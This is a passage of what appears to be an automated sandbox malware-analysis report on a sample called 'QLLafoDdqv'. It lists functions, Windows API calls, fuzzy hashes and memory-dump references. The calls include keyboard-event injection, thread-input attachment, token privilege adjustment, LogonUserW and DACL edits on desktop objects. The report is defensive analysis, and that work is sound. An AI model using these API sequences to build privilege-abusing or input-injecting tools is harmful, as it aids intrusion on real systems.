Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2a1da503a197f9b7ce5f53b2590544daa5a8d2e2f6e172effb38e5e2b0a3a7dc
Instruction ID: 3199269f572017f9a9c47764da8140db7e3c88412d754547f9726722210c50b0
Opcode Fuzzy Hash: 2a1da503a197f9b7ce5f53b2590544daa5a8d2e2f6e172effb38e5e2b0a3a7dc
Instruction Fuzzy Hash: 43F0B471602228E7FB215F629C09B6B37C9AF817A0F148315FA1AA61C1CA78DC0046F4

Function 00703820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,007A1444,?,006EFDF5,?,?,006DA976,00000010,007A1440,006D13FC,?,006D13C6,?,006D1129), ref: 00703852

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 07224ee06ba8bbdae8e40ca07ef8ee1516b08c0374c19c0fcf1cdc2d67d875c3
Instruction ID: 09fa9a2ec818a8685a1700816b2f390152e1071dd1a73c792986c850c77d881d
Opcode Fuzzy Hash: 07224ee06ba8bbdae8e40ca07ef8ee1516b08c0374c19c0fcf1cdc2d67d875c3
Instruction Fuzzy Hash: EEE0E531101228DAE7212A669C01BAB37CEAF827B0F0582A5FD05928C0CB59DE0182F4

Function 006D4F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,007A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 006D4F6D

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 6f379503e744c828ed5a7a4d3527db2dc167e4f66e722b20b2b062dffc90dd9a
Instruction ID: b1c3d25e88725391489fe39014f31fdd2428bd8c71544a5fa44e7e858eb0eb40
Opcode Fuzzy Hash: 6f379503e744c828ed5a7a4d3527db2dc167e4f66e722b20b2b062dffc90dd9a
Instruction Fuzzy Hash: 79F01571905752CFDB389F64D490862BBE6AF54329320C96FE2EA82721CB329C44DB50

Function 006D2DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 006D2DC4

Part of subcall function 006D6B57: _wcslen.LIBCMT ref: 006D6B6A

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: 563135c96dd1cd83bd4d3c0f82aa29a19eab532faf434f93fec962cb82b71e52
Instruction ID: 96d139bb0ee0fadfac485d8c487a3b054639c80b056c9e4d9a34d1f3b425df6e
Opcode Fuzzy Hash: 563135c96dd1cd83bd4d3c0f82aa29a19eab532faf434f93fec962cb82b71e52
Instruction Fuzzy Hash: 48E0CD72A042245BC711A258DC05FEA77EDDFC8790F044076FD09D7248D964AD808554

Function 00742693 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 007426B5

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 62c4ae1466583100269b95fce18df2779376e23d7999e61a0ae1b5108404e028
Instruction ID: 5af7a22c18f3a1d3a3e355b2a7601ce10ab7de3fbd559ca8b801ade10961ad6c
Opcode Fuzzy Hash: 62c4ae1466583100269b95fce18df2779376e23d7999e61a0ae1b5108404e028
Instruction Fuzzy Hash: 9CE048B06097005FDF395E28A8517B677D59F49340F00045EF69B83653E6726856864D

Function 006D2B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 006D3837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 006D3908

Part of subcall function 006DD730: GetInputState.USER32 ref: 006DD807

SetCurrentDirectoryW.KERNEL32(?), ref: 006D2B6B

Part of subcall function 006D30F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 006D314E

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectoryInputState
String ID:
API String ID: 3667716007-0
Opcode ID: bee657f5b097ef589e7c36d49020a9b3ee7f8539c9a946633facba3088b42fe9
Instruction ID: edef477a271c63e4342d898df42b961692f0689ed6ecfbeef44e16163f68a6d8
Opcode Fuzzy Hash: bee657f5b097ef589e7c36d49020a9b3ee7f8539c9a946633facba3088b42fe9
Instruction Fuzzy Hash: 5DE08621F0425406CA48BB75A8525BDB75B9BD6355F40553FF14283362CE684945426B

Function 0071039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00710704,?,?,00000000,?,00710704,00000000,0000000C), ref: 007103B7

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4e6aa5a6ef8f924cad1b38639b3a92f54c517a509182a61a8fd547d73fc8e583
Instruction ID: d477e03677c6218b0e6dc21e58d2b071fe16924a180e92311d64b03e088f60c5
Opcode Fuzzy Hash: 4e6aa5a6ef8f924cad1b38639b3a92f54c517a509182a61a8fd547d73fc8e583
Instruction Fuzzy Hash: 57D06C3204020DBBDF028F84DD06EDA3BAAFB48714F018000FE5856020C776E821AB94

Function 006D1CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 006D1CBC

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: 23e464ea5a9d661a48ab30560df067c658f9e8b9fc96428defa99192b8fb3478
Instruction ID: 437d8e80dc457f589fb94835ac0b8ea9e3086a13963fd3a3fd871fd89376ef4c
Opcode Fuzzy Hash: 23e464ea5a9d661a48ab30560df067c658f9e8b9fc96428defa99192b8fb3478
Instruction Fuzzy Hash: DFC09B352803049FF6154B84BC5AF107754B389B10F54C001F64A555E3C3E51430DA58

Function 0072D8DD Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 0072D8E9

Part of subcall function 006D33A7: _wcslen.LIBCMT ref: 006D33AB

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: PathTemp_wcslen
String ID:
API String ID: 1974555822-0
Opcode ID: 44458d3a02e53ebcd89e84fea37aca61fe879bc75ff47b1d7432e1174cddedea
Instruction ID: cdc76d2006f63cbdaa84e0d970c149d5890f74c1f3387d5ce86a0502187c7efc
Opcode Fuzzy Hash: 44458d3a02e53ebcd89e84fea37aca61fe879bc75ff47b1d7432e1174cddedea
Instruction Fuzzy Hash: 7EC04C7450116A9FDB909B90DDD9AB87365FF00305F10C095E546551509E749A488B16

Function 006EFC70 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 006EFD1F

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 25dd7bffc6e890be414f4559e2f7636999aa0405ef473f3cd4b0355041b4ef49
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 8031F575A01249DBD718CF5AD4809A9FBA2FF49310B7486A5E809CB755E731EDC1CBC0

Function 015C22A0 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 015C22B1

Memory Dump Source

Source File: 00000000.00000002.2127882402.00000000015C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 015C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15c0000_QLLafoDdqv.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: 167e8846189e44a0728faacd3d9c6f085f6d3dd3507f427c457e1ef3c5146bd6
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: A6E0BF7494020E9FDB00EFA8D54969E7BB4EF04701F100165FD0592281D63099508A62

Non-executed Functions

Function 00769576 Relevance: 74.1, APIs: 39, Strings: 3, Instructions: 625windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 006E9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 006E9BB2

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0076961A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0076965B
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 0076969F
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 007696C9
SendMessageW.USER32 ref: 007696F2
GetKeyState.USER32(00000011), ref: 0076978B
GetKeyState.USER32(00000009), ref: 00769798
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 007697AE
GetKeyState.USER32(00000010), ref: 007697B8
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 007697E9
SendMessageW.USER32 ref: 00769810
SendMessageW.USER32(?,00001030,?,00767E95), ref: 00769918
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0076992E
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00769941
SetCapture.USER32(?), ref: 0076994A
ClientToScreen.USER32(?,?), ref: 007699AF
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 007699BC
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 007699D6
ReleaseCapture.USER32 ref: 007699E1
GetCursorPos.USER32(?), ref: 00769A19
ScreenToClient.USER32(?,?), ref: 00769A26
SendMessageW.USER32(?,00001012,00000000,?), ref: 00769A80
SendMessageW.USER32 ref: 00769AAE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00769AEB
SendMessageW.USER32 ref: 00769B1A
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00769B3B
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00769B4A
GetCursorPos.USER32(?), ref: 00769B68
ScreenToClient.USER32(?,?), ref: 00769B75
GetParent.USER32(?), ref: 00769B93
SendMessageW.USER32(?,00001012,00000000,?), ref: 00769BFA
SendMessageW.USER32 ref: 00769C2B
ClientToScreen.USER32(?,?), ref: 00769C84
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00769CB4
SendMessageW.USER32(?,00001111,00000000,?), ref: 00769CDE
SendMessageW.USER32 ref: 00769D01
ClientToScreen.USER32(?,?), ref: 00769D4E
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00769D82

Part of subcall function 006E9944: GetWindowLongW.USER32(?,000000EB), ref: 006E9952

GetWindowLongW.USER32(?,000000F0), ref: 00769E05

Strings

F, xrefs: 00769D07
p#z, xrefs: 00769990
@GUI_DRAGID, xrefs: 0076997D

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
String ID: @GUI_DRAGID$F$p#z
API String ID: 3429851547-1540955567
Opcode ID: e8027b4b60ec734027a5cac4b19118d96f840ad285ff4194ee94c370c636445e
Instruction ID: 7a275131c28007e500befe792f2272de77986f046660e3848057fefe466901d2
Opcode Fuzzy Hash: e8027b4b60ec734027a5cac4b19118d96f840ad285ff4194ee94c370c636445e
Instruction Fuzzy Hash: 44429C34204341EFDB25CF28CC44AAABBE9FF89310F14465DFA9A872A1D779E850CB55

Function 00764873 Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 566windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000408,00000000,00000000), ref: 007648F3
SendMessageW.USER32(00000000,00000188,00000000,00000000), ref: 00764908
SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 00764927
SendMessageW.USER32(?,00000148,00000000,00000000), ref: 0076494B
SendMessageW.USER32(00000000,00000147,00000000,00000000), ref: 0076495C
SendMessageW.USER32(00000000,00000149,00000000,00000000), ref: 0076497B
SendMessageW.USER32(00000000,0000130B,00000000,00000000), ref: 007649AE
SendMessageW.USER32(00000000,0000133C,00000000,?), ref: 007649D4
SendMessageW.USER32(00000000,0000110A,00000009,00000000), ref: 00764A0F
SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 00764A56
SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 00764A7E
IsMenu.USER32(?), ref: 00764A97
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00764AF2
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00764B20
GetWindowLongW.USER32(?,000000F0), ref: 00764B94
SendMessageW.USER32(?,0000113E,00000000,00000008), ref: 00764BE3
SendMessageW.USER32(00000000,00001001,00000000,?), ref: 00764C82
wsprintfW.USER32 ref: 00764CAE
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00764CC9
GetWindowTextW.USER32(?,00000000,00000001), ref: 00764CF1
SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00764D13
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00764D33
GetWindowTextW.USER32(?,00000000,00000001), ref: 00764D5A

Strings

%d/%02d/%02d, xrefs: 00764CA8

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessageSend$MenuWindow$InfoItemText$Longwsprintf
String ID: %d/%02d/%02d
API String ID: 4054740463-328681919
Opcode ID: eb4ba75ea80f15fbe7de6497bdeae8953a734767c15a621c2c86ca14640740e9
Instruction ID: ad4ffb4d250d748a69cbfe89c402f1c4327c732937e39f5e5be5d4a7b59b8de7
Opcode Fuzzy Hash: eb4ba75ea80f15fbe7de6497bdeae8953a734767c15a621c2c86ca14640740e9
Instruction Fuzzy Hash: CB12FD71600345ABEB258F24DC49FBE7BF8EF45310F148169F916EB2A1DBB89940CB54

Function 006EF98E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 006EF998
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0072F474
IsIconic.USER32(00000000), ref: 0072F47D
ShowWindow.USER32(00000000,00000009), ref: 0072F48A
SetForegroundWindow.USER32(00000000), ref: 0072F494
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0072F4AA
GetCurrentThreadId.KERNEL32 ref: 0072F4B1
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0072F4BD
AttachThreadInput.USER32(?,00000000,00000001), ref: 0072F4CE
AttachThreadInput.USER32(?,00000000,00000001), ref: 0072F4D6
AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 0072F4DE
SetForegroundWindow.USER32(00000000), ref: 0072F4E1
MapVirtualKeyW.USER32(00000012,00000000), ref: 0072F4F6
keybd_event.USER32(00000012,00000000), ref: 0072F501
MapVirtualKeyW.USER32(00000012,00000000), ref: 0072F50B
keybd_event.USER32(00000012,00000000), ref: 0072F510
MapVirtualKeyW.USER32(00000012,00000000), ref: 0072F519
keybd_event.USER32(00000012,00000000), ref: 0072F51E
MapVirtualKeyW.USER32(00000012,00000000), ref: 0072F528
keybd_event.USER32(00000012,00000000), ref: 0072F52D
SetForegroundWindow.USER32(00000000), ref: 0072F530
AttachThreadInput.USER32(?,000000FF,00000000), ref: 0072F557

Strings

Shell_TrayWnd, xrefs: 0072F46F

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 17de642866ee97a1ccacce39f5d04e374aea8e4a31b135403823bef0630b0f23
Instruction ID: 926c1e45b0aee2b34e01e9e6b845a478888befba4b1de5e980da59b5c3e4829e
Opcode Fuzzy Hash: 17de642866ee97a1ccacce39f5d04e374aea8e4a31b135403823bef0630b0f23
Instruction Fuzzy Hash: F2319671A403187BEB216FB65C4AFBF7E7CEB44B50F204065F602E61D1C6F55D10AA64

Function 00731201 Relevance: 40.5, APIs: 19, Strings: 4, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 007316C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0073170D
Part of subcall function 007316C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0073173A
Part of subcall function 007316C3: GetLastError.KERNEL32 ref: 0073174A

LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 00731286
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 007312A8
CloseHandle.KERNEL32(?), ref: 007312B9
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 007312D1
GetProcessWindowStation.USER32 ref: 007312EA
SetProcessWindowStation.USER32(00000000), ref: 007312F4
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00731310

Part of subcall function 007310BF: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,007311FC), ref: 007310D4
Part of subcall function 007310BF: CloseHandle.KERNEL32(?,?,007311FC), ref: 007310E9

Strings

winsta0, xrefs: 007312CC
, xrefs: 0073125A
Zy, xrefs: 00731392
default, xrefs: 0073130B

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0$Zy
API String ID: 22674027-3658735108
Opcode ID: 2b5f472f73ab489e27c1134d6687f2338412174586db7470f9c752f0e4769bc0
Instruction ID: 2286707e369433f30c1929e76b8c96cb9e6e2cba471c3f6a0c462a38e4463468
Opcode Fuzzy Hash: 2b5f472f73ab489e27c1134d6687f2338412174586db7470f9c752f0e4769bc0
Instruction Fuzzy Hash: AB81AC71900349AFEF219FA4DC49FFE7BB9EF04700F188129F911A61A2CB798944CB65

Function 00730B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 007310F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00731114
Part of subcall function 007310F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00730B9B,?,?,?), ref: 00731120
Part of subcall function 007310F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00730B9B,?,?,?), ref: 0073112F
Part of subcall function 007310F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00730B9B,?,?,?), ref: 00731136
Part of subcall function 007310F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0073114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00730BCC
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00730C00
GetLengthSid.ADVAPI32(?), ref: 00730C17
GetAce.ADVAPI32(?,00000000,?), ref: 00730C51
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00730C6D
GetLengthSid.ADVAPI32(?), ref: 00730C84
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00730C8C
HeapAlloc.KERNEL32(00000000), ref: 00730C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00730CB4
CopySid.ADVAPI32(00000000), ref: 00730CBB
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00730CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00730D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00730D1E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00730D45
HeapFree.KERNEL32(00000000), ref: 00730D4C
